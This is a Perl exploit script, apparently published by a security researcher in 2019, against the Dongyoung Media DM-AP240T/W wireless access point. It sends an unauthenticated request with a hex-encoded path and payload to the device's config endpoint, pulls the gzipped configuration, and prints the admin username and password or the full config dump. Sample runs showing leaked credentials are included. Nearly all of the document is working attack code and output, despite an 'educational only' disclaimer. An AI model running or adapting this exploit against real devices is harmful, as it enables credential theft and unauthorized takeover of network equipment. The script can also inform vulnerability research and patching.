Share
#!/usr/bin/perl -w  
#  
# Dongyoung Media DM-AP240T/W Wireless Access Point Remote Configuration Disclosure  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
#  
# Disclaimer:  
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages   
# caused by direct or indirect use of the information or functionality provided by these programs.   
# The author or any Internet provider bears NO responsibility for content or misuse of these programs   
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,   
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!   
#   
# (Dont do anything without permissions)  
#  
#  
# PASSWORD DISCLOSURE, TEST:  
#  
# # [test@localhost ~]$ perl dm-ap240t.pl http://192.168.1.102:8080  
# # [ Dongyoung Media DM-AP240T/W Wireless Access Point Remote Configuration Disclosure  
# # [ =================================================================================  
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>  
# # [ Initializing the browser  
# # [ >> Referer => http://192.168.1.102  
# # [ >> User-Agent => Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-gb) AppleWebKit/528.10+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2  
# # [ >> Content-Type => application/x-www-form-urlencoded  
# # [ << Connection => close  
# # [ << Accept-Ranges => bytes  
# # [ << Content-Length => 33412  
# # [ << Content-Type => application/octet-stream  
# # [ << Client-Date => Thu, 03 Oct 2019 10:41:05 GMT  
# # [ << Client-Peer => 192.168.1.102:8080  
# # [ << Client-Response-Num => 1  
# # [ << Content-Disposition => attachment;filename="config.tgz"  
# # [ << Content-Transfer-Encoding => binary  
# # [ << Set-Cookie => QSESSIONID=ea4bfb8c9455d441efefc531841d7459; path=/  
# # [   
# # [ Admin User : ktroot  
# # [ Admin Pass : 1234567890  
# # [test@localhost ~]$   
#  
#  
# CONFIGURATION DUMP, TEST:  
#  
# # [test@localhost ~]$ perl dm-ap240t.pl http://192.168.1.102:8080 show | head  
# # [ Dongyoung Media DM-AP240T/W Wireless Access Point Remote Configuration Disclosure  
# # [ =================================================================================  
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>  
# # [ Initializing the browser  
# # [ >> Referer => http://192.168.1.102  
# # [ >> User-Agent => Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.0 (like Gecko)  
# # [ >> Content-Type => application/x-www-form-urlencoded  
# # [ << Connection => close  
# # [ << Accept-Ranges => bytes  
# # [ << Content-Length => 33415  
# # [ << Content-Type => application/octet-stream  
# # [ << Client-Date => Thu, 03 Oct 2019 10:15:16 GMT  
# # [ << Client-Peer => 192.168.1.102:8080  
# # [ << Client-Response-Num => 1  
# # [ << Content-Disposition => attachment;filename="config.tgz"  
# # [ << Content-Transfer-Encoding => binary  
# # [ << Set-Cookie => QSESSIONID=34f95926faa74a38c4bf527c2545e816; path=/  
# # [  
# # [ >> Configuration dump...  
# # [  
# # [ ./config/0000755000000000000000000000000013545344507011170 5ustar rootroot./config/hostapd_open_ath11.conf0000644000000000000000000000060400000000012015452 0ustar rootrootignore_file_errors=1  
# # [ logger_syslog=-1  
# # [ logger_syslog_level=2  
# # [ logger_stdout=-1  
# # [ logger_stdout_level=2  
# # [ debug=0  
# # [ ctrl_interface=/var/run/hostapd  
# # [ ctrl_interface_group=0  
# # [ ssid=ATH11  
# # [ ignore_broadcast_ssid=0  
# # [test@localhost ~]$   
#  
#   
use strict;  
use HTTP::Request;  
use LWP::UserAgent;  
use WWW::UserAgent::Random;  
use Gzip::Faster;  
my $host = shift || ''; # Full path url to the store  
my $cmd = shift || ''; # show - Show configuration dump  
$host =~ s/\/$//;  
print "\033[2J"; #clear the screen  
print "\033[0;0H"; #jump to 0,0  
print STDERR "[ Dongyoung Media DM-AP240T/W Wireless Access Point Remote Configuration Disclosure\n";  
print STDERR "[ =================================================================================\n";  
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";  
if ($host !~ m/^http/){   
print STDERR "[ Usage, Password Disclosure: perl $0 https://target:port/\n";  
print STDERR "[ Usage, Show Configuration : perl $0 https://target:port/ show\n";  
exit;  
}  
print STDERR "[ Initializing the browser\n";  
my $user_agent = rand_ua("browsers");  
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });  
$browser->timeout(30);  
$browser->agent($user_agent);  
my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x5f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67";  
my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35";  
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload);   
my $response = $browser->request($request) or die "[ Exploit Failed: $!";  
print STDERR "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names;  
print STDERR "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names;  
my $gzipped = $response->content();  
my $config = gunzip($gzipped);  
print STDERR "[ \n";  
if ($cmd =~ /show/) {  
print STDERR "[ >> Configuration dump...\n[\n";  
print "[ ", $_, "\n" for split(/\n/,$config);  
exit;  
} else {  
print "[ Admin User : ", $1, "\n" if($config =~ /ROOT_ID=(.*)/);  
print "[ Admin Pass : ", $1, "\n" if($config =~ /ROOT_PW=(.*)/);  
exit;  
}